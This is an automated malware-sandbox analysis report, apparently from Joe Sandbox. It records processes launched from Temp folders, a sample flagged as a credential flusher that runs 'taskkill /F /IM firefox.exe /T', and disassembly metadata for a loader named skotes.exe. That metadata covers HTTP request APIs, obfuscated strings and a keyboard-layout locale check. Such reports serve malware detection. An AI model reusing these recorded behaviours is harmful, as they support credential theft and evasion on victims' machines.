Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2580 --field-trial-handle=2556,i,13032946618736246995,7937194258242021320,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	08:11:57
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007938001\9bf3542ba6.exe"
Imagebase:	0x7c0000
File size:	922'624 bytes
MD5 hash:	EC1C70253B8B244E9A71D54D6B7A917C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000002B.00000002.3699710608.0000000001568000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	08:11:58
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x610000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	08:11:58
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	08:12:06
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1007939001\f186248479.exe"
Imagebase:	0xf50000
File size:	2'819'072 bytes
MD5 hash:	832C9676A2A7C2AD3AF65CA7C3CDE743
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 04B20CB2 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2184052276.0000000004B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b20000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fb7e6f0475ef8c28fd1a05736578b67e26b7e03897c274efd767327f82b8916
Instruction ID: be77ec3c0721a8b3ab85905c2f7a8bbe007afe76b9c9042a3ecfb78024478bfa
Opcode Fuzzy Hash: 7fb7e6f0475ef8c28fd1a05736578b67e26b7e03897c274efd767327f82b8916
Instruction Fuzzy Hash: 7DD05EF722E025FCA200A64227109B61229E0D4B743308847F50AC0002B2043A152771

Analysis Process: skotes.exePID: 1364, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	11.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.6%
Total number of Nodes:	1290
Total number of Limit Nodes:	24

Executed Functions

Function 0042BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 0042BEB8
InternetOpenW.WININET(00478DC8,00000000,00000000,00000000,00000000), ref: 0042BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0042BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0042BF36
HttpSendRequestA.WININET(?,00000000), ref: 0042BFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 0042C0A7
InternetCloseHandle.WININET(?), ref: 0042C187
InternetCloseHandle.WININET(?), ref: 0042C18F
InternetCloseHandle.WININET(?), ref: 0042C197

Strings

8HJUeIfzLo==, xrefs: 0042C3CB, 0042C623
8HJUeMD Lq5=, xrefs: 0042C465
RmNn, xrefs: 0042D606
stoi argument out of range, xrefs: 0042E4EA
RE1NXF==, xrefs: 0042BF0E
invalid stoi argument, xrefs: 0042E4F4

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: c0bcb2af3a4b16e089d97b2ee95f6b5f2990dc87573cad736c07f1ec378b2794
Instruction ID: 8a4bba189f5abd19b053991f5a0a22fe5338ccb2c2dc2ae010d54bb67e2ecde3
Opcode Fuzzy Hash: c0bcb2af3a4b16e089d97b2ee95f6b5f2990dc87573cad736c07f1ec378b2794
Instruction Fuzzy Hash: B6B127B0A001289BDB24DF28DD85BAE7B75EF45304F90459EF908972C1DB789AC0CF99

Function 0042E530 Relevance: 16.0, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

9c9aa5, xrefs: 0042FB8E
UA==, xrefs: 0042EB0F, 0042ED56
WTw=, xrefs: 0043097D
#, xrefs: 00430624
111, xrefs: 0042F7A0
L1H, xrefs: 0042F7E5
WDw=, xrefs: 0042F71D, 0042F9FA
MQ==, xrefs: 0042E592
WTs=, xrefs: 004305CA
246122658369, xrefs: 0042F737, 0042FA14, 004305E7, 0043099A
GnNoc2Hc, xrefs: 0042E56C
MGE+, xrefs: 0042E821

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1H$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-4278481258
Opcode ID: ab8c693b22c91712b0dd2f66160bc4bd95120e7070f47fcdccde58cc73eb1ec7
Instruction ID: 152ba395921cbfc986562f35eead80bd7823bf40c4f9acda421aadee2bb7d274
Opcode Fuzzy Hash: ab8c693b22c91712b0dd2f66160bc4bd95120e7070f47fcdccde58cc73eb1ec7
Instruction Fuzzy Hash: 2F82E770A00248DBEF14EF69C9497DE7FB1AB46308F90459EE805273C2D7795A88CBD6

Function 004265E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00426680

Strings

RySfdMLx, xrefs: 0042669C
GSTmfV==, xrefs: 00426728
ISNmfV==, xrefs: 004267D1

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: bb32c05253dc52c419ca57ee677852dd42baecb97c1bc16f09895cfe273fb45c
Instruction ID: 6b047c38ee19c63a7b499b23f23819ca6818011617d5a33a85ff593ce4c76e88
Opcode Fuzzy Hash: bb32c05253dc52c419ca57ee677852dd42baecb97c1bc16f09895cfe273fb45c
Instruction Fuzzy Hash: 5391E6B1A001289BDB28DF28DC85BDDB779EB45304F8045EEE51997281DB399BC4CF68

Function 0043D3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004224BE

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: e336f632b40e8e3df47a932ad59d1ae106e73073dcb4c572fa94ae79c4a0f8cf
Instruction ID: e350b87c255b6306c696724da207ed4a9bb0a0cb239286be1d4427cf82a0e450
Opcode Fuzzy Hash: e336f632b40e8e3df47a932ad59d1ae106e73073dcb4c572fa94ae79c4a0f8cf
Instruction Fuzzy Hash: 1F515E72D006068BDB19CF69E8C56AEBBF5FB48314F24896AD405EB350D378A940CF59

Function 004347B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

Strings

8WI0, xrefs: 00435692
9250, xrefs: 004354AD
anE0, xrefs: 0043566B
WGS0, xrefs: 00435533
Fw==, xrefs: 00434E1D
stoi argument out of range, xrefs: 00434F9C
246122658369, xrefs: 0043502A, 0043503D, 0043507F, 00435089, 00435684
aWW0, xrefs: 0043555C
KCWUOl==, xrefs: 00435649
MGE+, xrefs: 00434866, 004348DD, 00434B85, 00434BFC
3I3eB==, xrefs: 00434802
9c9aa5, xrefs: 00435619
VXQ0, xrefs: 0043550A
2I0, xrefs: 00435627
93E0, xrefs: 00435600
MGI+, xrefs: 004348AD, 004349DC, 00434BCC, 00434CFB
jS=, xrefs: 00436513, 004367E2
9HQ0, xrefs: 004354E1
GE0, xrefs: 00435585
Vmc0, xrefs: 004355D7
VXA0, xrefs: 004355AE

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleep
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 3516211189-1982281295
Opcode ID: 294a8347e8f7752a5fe147370ce675de1b459a2c112d62e60eaf6aa72d9aa03b
Instruction ID: 1403affd7d702832251ac44161bd0933d4b871d73a912c9d7ab1f64fe499fc96
Opcode Fuzzy Hash: 294a8347e8f7752a5fe147370ce675de1b459a2c112d62e60eaf6aa72d9aa03b
Instruction Fuzzy Hash: 70233770E002549BEB19DB28CE8979DBB769F8A304F5481DDE048A72C2DB395FC48F59

Function 00432F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5120, xrefs: 00433BAF, 00433C9A
WTw=, xrefs: 00432F5E
WGpm, xrefs: 00433CC9
Fw==, xrefs: 0043378E
", xrefs: 00433F89
stoi argument out of range, xrefs: 00434359
V2Te, xrefs: 00433EB0
246122658369, xrefs: 00432F78
invalid stoi argument, xrefs: 0043434A
WX f, xrefs: 00433BDE
Hykl, xrefs: 0043387F

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: 36a70819d390b8ad57202d14c72d3afeb958f90fb1facf9e36af0660f342b213
Instruction ID: 59e536a1cb072242f9f0d986864799e174821ff6ed1e1d3ab28cb5db152638f5
Opcode Fuzzy Hash: 36a70819d390b8ad57202d14c72d3afeb958f90fb1facf9e36af0660f342b213
Instruction Fuzzy Hash: 7A724870A002489BEF18EF78CD467DDBBB5AF4A304F50458EE445A7382D73D9B848B96

Function 00425EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00425F13

Strings

00000423, xrefs: 004260FA
00000422, xrefs: 004260C9
00000419, xrefs: 00426098
0000043f, xrefs: 0042612B
Keyboard Layout\Preload, xrefs: 00426054

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: 375ab2935c85e26ae58fd861c25fe74ccd49acd9b362006a199bb9972be83f2e
Instruction ID: 71a074f21c9d3df82f4aeca6f0fd544c7cb15e9795cec12c0152c6d19d9eaa9f
Opcode Fuzzy Hash: 375ab2935c85e26ae58fd861c25fe74ccd49acd9b362006a199bb9972be83f2e
Instruction Fuzzy Hash: 56D1C070A00228ABEB24DF24DD85BDEB779AF05304F5042DAF508E7281DB789AD4CF58

Function 00427D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00427ED3

Strings

JjsrQV==, xrefs: 00428092
JjssPV==, xrefs: 004281E2
JjsrPl==, xrefs: 0042828A
JjssOl==, xrefs: 0042813A

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: ed7a93ef4d71b71aad463f16effc2c9c444bf984e00e2ef9e42eaab2d3727213
Instruction ID: cbb8c80b7bb9166886640d1a9874e53da941acdaa0d129cdc32a8e93591bb814
Opcode Fuzzy Hash: ed7a93ef4d71b71aad463f16effc2c9c444bf984e00e2ef9e42eaab2d3727213
Instruction Fuzzy Hash: F8E127B0F002249BDB25BB29DD073AE7661AB45724FD046DEE815673C2DB7D4E8087CA

Function 0045D634 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,mE, xrefs: 0045D835

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: ,mE
API String ID: 0-418629219
Opcode ID: a036a0271bfde0c24ea90191d50a1860fb9ebe33fb0f89593aa95bb235c340b4
Instruction ID: fac2662b25fed09857f951bd1d9360d78c156243c5c6182f0db130f0e81b802b
Opcode Fuzzy Hash: a036a0271bfde0c24ea90191d50a1860fb9ebe33fb0f89593aa95bb235c340b4
Instruction Fuzzy Hash: A261E432D002148BDF35AFA8D8856EEB7A0EF19316F24412BDC59A7353D6389C49CB69

Function 0045D82F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,0045A72D,?,00000000,?,00456D2C,00427883,C2D46612,00427883), ref: 0045D870

Strings

,mE, xrefs: 0045D835

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3692695803.0000000000489000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000048B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000060C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.00000000006F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.000000000071F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000727000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3693111370.0000000000735000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3702722998.0000000000736000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3705642145.00000000008D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3706933996.00000000008D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_420000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: ,mE
API String ID: 1279760036-418629219
Opcode ID: 79b0894d3b6579c323fab98c8b09a90e6e58935674ab3c11156c55e5e2efeb1e
Instruction ID: 06af060a05626008cfc060bb0ed708064f17d096edcb9fcb6f4c19264a456a1c
Opcode Fuzzy Hash: 79b0894d3b6579c323fab98c8b09a90e6e58935674ab3c11156c55e5e2efeb1e
Instruction Fuzzy Hash: B9F0E932E0552466EB313A73AC01B5B37599F41772B158437EC28E7293DE29EC0DC6E9

Function 00428380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00428524

Memory Dump Source

Source File: 0000000B.00000002.3689991954.0000000000421000.00000040.00000001.01000000.00000007.sdmp, Offset: 00420000, based on PE: true

Associated: 0000000B.00000002.3687189652.0000000000420000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3689991954.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
